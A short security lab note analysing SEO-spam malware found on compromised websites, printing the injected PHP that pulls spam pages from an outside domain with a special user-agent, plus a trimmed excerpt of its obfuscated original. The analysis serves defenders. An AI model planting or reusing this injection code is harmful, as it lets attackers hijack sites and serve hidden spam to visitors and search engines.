SEO spam loading from external site

Labs Note

Many websites get compromised and used for SEO in order to drive traffic to other websites that would usually be ranked very low or completely removed by Google due to their content. Recently I found some malware pulling spam content from chinajianzhan[.]cn.

The script attackers injected is very simple, they just use the file_get_contents() function to access the crafted URL using a specific user-agent which then returns the spam content, this helps them hide the spam content from search engines.

Here is the snippet:

<?php set_time_limit(0);header("Content-Type: text/html;charset=gb2312");$Remote_server = "hxxp://www[.]chinajianzhan[.]cn/bc/";$host_name = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'];$userAgent = $_SERVER['HTTP_USER_AGENT'];$Content_mb = getHTTPPage($Remote_server . "/index.html?host=" . $host_name);echo $Content_mb;exit();function getHTTPPage($url) { $opts = array('http' => array('method' => "GET", 'header' => "User-Agent: aQ0O010O")); $context = stream_context_create($opts); $html = @file_get_contents($url, false, $context); if (empty($html)) { exit("<p align='center'><font color='red'><b>Connection Error!</b></font></p>"); } return $html;}

The original version of the code was encoded using vidun[.]com and the code was added to randomly named files like can.php and michao.php

Here is an excerpt of the original code:

<?php // This file is protected by copyright law & provided under license. Copyright(C) 2005-2009, All rights reserved. $OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%7 (Trimmed) Vfe48R3E+wJL7eWp9eWpZcbO1FM4Ikoi0dBX7eWp9eWP=

We highly recommend keeping your WordPress up to date and making sure that all of your passwords are unique and secure, the impacts of SEO spam on your website can be very large, your website could rank lower in search results along with being blacklisted which can take many weeks to resolve.

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